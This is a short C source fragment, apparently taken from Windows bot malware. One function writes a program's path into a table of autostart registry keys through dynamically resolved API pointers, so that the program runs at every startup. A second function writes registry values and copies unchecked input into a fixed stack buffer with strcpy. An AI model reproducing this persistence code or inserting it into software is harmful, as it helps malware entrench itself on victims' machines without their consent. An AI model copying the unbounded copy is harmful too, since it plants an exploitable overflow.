void AutoStartRegs(char *nfilename) { HKEY key; for (int i=0; i < (sizeof(autostart) / sizeof(AUTOSTART)); i++) { fRegCreateKeyEx(autostart[i].hkey, autostart[i].subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); if (nfilename) fRegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)nfilename, strlen(nfilename)); else fRegDeleteValue(key, valuename); fRegCloseKey(key); } return; }
BOOL RegWrite(HKEY hKey,LPCTSTR SubKey,LPCTSTR KeyName,DWORD Type,RQUERY Data) { HKEY hRegKey; DWORD dwBuf; char szRegBuffer[65535+2]; // Only allow writing of 64Kb to a key, include space for double null int i, nLen; // Open the registry key if (fRegCreateKeyEx(hKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hRegKey,NULL) != ERROR_SUCCESS) { return FALSE; } // If no keyname then we are finished if (KeyName == 0) { fRegCloseKey(hRegKey); return TRUE; } // Write the registry differently depending on type of variable we are writing switch (Type) { case REG_EXPAND_SZ: nLen=(int)strlen(Data.szQuery); strcpy(szRegBuffer,Data.szQuery); if (fRegSetValueEx(hRegKey,KeyName,0,REG_EXPAND_SZ,(CONST BYTE *)szRegBuffer,(DWORD)nLen+1) != ERROR_SUCCESS) { fRegCloseKey(hRegKey); return FALSE; } break; case REG_SZ: nLen=(int)strlen(Data.szQuery); strcpy(szRegBuffer,Data.szQuery); if (fRegSetValueEx(hRegKey,KeyName,0,REG_SZ,(CONST BYTE *)szRegBuffer,(DWORD)nLen+1) != ERROR_SUCCESS) { fRegCloseKey(hRegKey); return FALSE; } break; case REG_DWORD: dwBuf=Data.dwQuery; if (fRegSetValueEx(hRegKey,KeyName,0,REG_DWORD,(CONST BYTE *)&dwBuf,sizeof(dwBuf)) != ERROR_SUCCESS) { fRegCloseKey(hRegKey); return FALSE; } break; case REG_MULTI_SZ: nLen=(int)strlen(Data.szQuery); strcpy(szRegBuffer,Data.szQuery); // Change all \n to \0 then double null terminate szRegBuffer[nLen]='\0'; // Double null szRegBuffer[nLen+1]='\0'; for (i=0;i<nLen;++i) if (szRegBuffer[i]=='\n') szRegBuffer[i]='\0'; // If blank then must use nLen = 0, ignoring \0\0 (blank values not allowed) // Otherwise take our stringlen + 2 (double null) as the size if (nLen != 0) nLen = nLen + 2; if (fRegSetValueEx(hRegKey,KeyName,0,REG_MULTI_SZ,(CONST BYTE *)szRegBuffer,(DWORD)nLen) != ERROR_SUCCESS) { fRegCloseKey(hRegKey); return FALSE; } break; default: fRegCloseKey(hRegKey); return FALSE; break; } fRegCloseKey(hRegKey); return TRUE; }